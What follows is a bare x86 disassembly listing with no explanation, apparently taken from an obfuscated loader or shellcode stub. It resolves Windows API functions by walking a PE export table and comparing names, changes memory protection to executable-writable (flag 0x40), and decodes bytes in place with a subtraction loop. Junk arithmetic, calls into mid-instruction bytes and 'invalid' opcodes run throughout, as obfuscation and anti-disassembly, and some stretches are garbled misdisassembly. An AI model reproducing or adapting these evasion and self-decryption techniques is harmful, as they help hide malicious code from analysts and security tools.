jmp 0x4200de
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1684]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1688], edx
cmp dword [ebp - 0x1688], 0
jne 0x41fe47
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x520], eax
jmp 0x4200de
mov ecx, dword [ebp - 0x338]
add ecx, dword [ebp - 0x1688]
mov dword [ebp - 0x788], ecx
jne 0x41fe6c
mov edx, dword [ebp - 0x794]
mov dword [ebp - 0x520], edx
jmp 0x4200de
mov eax, dword [ebp - 0x788]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19bc], ecx
mov edx, dword [ebp - 0x788]
mov eax, dword [ebp - 0x338]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19c0], eax
mov ecx, dword [ebp - 0x788]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19c4], edx
mov dword [ebp - 0x78c], 0
jmp 0x41fec6
mov eax, dword [ebp - 0x78c]
add eax, 1
mov dword [ebp - 0x78c], eax
mov ecx, dword [ebp - 0x788]
mov edx, dword [ebp - 0x78c]
cmp edx, dword [ecx + 0x18]
jae 0x4200d2
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x19bc]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x790], edx
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x19c0]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19c4]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x19c8], ecx
mov dword [ebp - 0x1a8], 0
jmp 0x41ff36
mov eax, dword [ebp - 0x790]
add eax, dword [ebp - 0x1a8]
movsx ecx, byte [eax]
test ecx, ecx
je 0x41ffe8
mov edx, dword [ebp - 0x1a8]
movsx eax, byte [ebp + edx - 0x9d4]
test eax, eax
je 0x41ffe8
push ecx
or ecx, 0xb65a
sub ecx, 0x282f
pop ecx
push ecx
call 0x41ff7f
add byte [ebx + 0x42], cl
inc esp
inc edx
inc edi
dec ecx
cmp al, byte [ebx - 0xe7efb3c]
fstp dword [ecx + eax]
add byte [ecx + 0x7da3c1], al
add byte [ecx + 0x17d1e9], al
add byte [ecx - 0x75], bl
lea esi, [eax - 8]
invalid
push ecx
push edi
add esp, 4
jmp 0x41fff6
jmp 0x41ffff
sub ecx, 0x10998
pop ecx
push ecx
or ecx, 0x322c
pop ecx
push edi
push ecx
add esp, 4
add edi, 0x1b9f
pop edi
mov eax, dword [ebp - 0x790]
add eax, dword [ebp - 0x1a8]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1a8]
movsx eax, byte [ebp + edx - 0x9d4]
cmp ecx, eax
jne 0x420047
mov dword [ebp - 0xce4], 0
jmp 0x4200b6
push eax
push eax
add esp, 4
call 0x420058
add byte [eax + 0x37], cl
inc esi
xor eax, 0xc483433e
add al, 0x81
call fcn.0042828b
call 0x42006f
add byte [edi], bh
inc edx
inc eax
xor dh, byte [esi - 0x3b7cb3c3]
add al, 0x81
loopne 0x4200f4
sbb byte [ecx], al
add byte [eax - 0x75], bl
lea esi, [eax - 8]
invalid
cmp dword [ebp - 0xce4], 0
jne 0x4200cd
mov edx, dword [ebp - 0x19c8]
mov dword [ebp - 0x520], edx
jmp 0x4200de
jmp 0x41feb7
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x520], eax
mov ecx, dword [ebp - 0x520]
mov dword [ebp - 0xab0], ecx
push eax
push edi
add esp, 4
add eax, 0x1446e
xor eax, 0x18077
xor eax, 0x5ac9
add eax, 0x12bc8
pop eax
push edi
add byte [ecx + 0x18077f0], al
add byte [ecx + 0x5ac9f0], al
add byte [ecx + 0x12bc8c0], al
add byte [eax + 0x57], bl
call 0x420118
add byte [ebp + 0x47], cl
push eax
inc ebx
cmp dh, byte [eax + edi]
inc ebx
dec esp
add esp, 4
pop edi
mov edx, dword [ebp - 0xab0]
mov dword [ebp - 0x19cc], edx
lea eax, [ebp - 0xce8]
push eax
push 0x40
mov ecx, dword [ebp - 0x168c]
push ecx
mov edx, dword [ebp - 0x3f8]
push edx
call dword [ebp - 0x19cc]
test eax, eax
jne 0x42018f
push ebx
and ebx, 0x27e5
and ebx, 0xdf12
xor ebx, 0x530e
pop ebx
push edi
add edi, 0x114d2
sub edi, 0x138c3
pop edi
push eax
xor eax, 0x1311d
pop eax
push ebx
add ebx, 0x151f3
pop ebx
mov eax, dword [ebp - 0x79c]
mov dword [ebp - 0x19d0], eax
push 0
call dword [ebp - 0x19d0]
mov ecx, dword [ebp - 0x19d4]
mov dword [ebp - 0x798], ecx
jmp 0x4201ac
mov edx, dword [ebp - 0x798]
add edx, 1
mov dword [ebp - 0x798], edx
mov eax, dword [ebp - 0x798]
cmp eax, dword [ebp - 0xab4]
jae 0x420208
push eax
call 0x4201cb
add byte [ebx + 0x41], al
aaa
dec edx
push eax
inc esi
cmp al, 0x3c
cmp eax, 0x4c48346
pop eax
push ebx
push ecx
add esp, 4
or ebx, 0x14a00
xor ebx, 0x6b64
and ebx, 0xf13c
jmp 0x4201eb
pop ebx
movzx ecx, byte [ebp - 0x3ae]
mov edx, dword [ebp - 0x798]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x798]
mov byte [ecx], al
jmp 0x42019d
mov edx, dword [ebp - 0xab0]
mov dword [ebp - 0x19d8], edx
lea eax, [ebp - 0xce8]
push eax
mov ecx, dword [ebp - 0xce8]
push ecx
mov edx, dword [ebp - 0x168c]
push edx
mov eax, dword [ebp - 0x3f8]
push eax
call dword [ebp - 0x19d8]
test eax, eax
jne 0x420280
push eax
call 0x42024a
add byte [ebp + 0x41], cl
inc ecx
inc ebx
cmp al, 0x39
cmp dh, byte [esi]
xor al, byte [ebx + 0x575804c4]
push edx
add esp, 4
and edi, 0x13502
xor edi, 0xb5dd
add edi, 0xf57e
add edi, 0x291c
pop edi
mov ecx, dword [ebp - 0x79c]
mov dword [ebp - 0x19dc], ecx
push 0
call dword [ebp - 0x19dc]
push eax
push ecx
add esp, 4
sub eax, 0x1280b
sub eax, 0x14dc2
and eax, 0x182ce
pop eax
push eax
and eax, 0x92df
pop eax
push ebx
push edi
add esp, 4
and ebx, 0x48a9
or ebx, 0x4cf4
pop ebx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff01ff
pop ecx
push esp
push esp
test ch, al
add eax, 0x52aecc82
add al, byte [ecx]
jmp 0x14303d8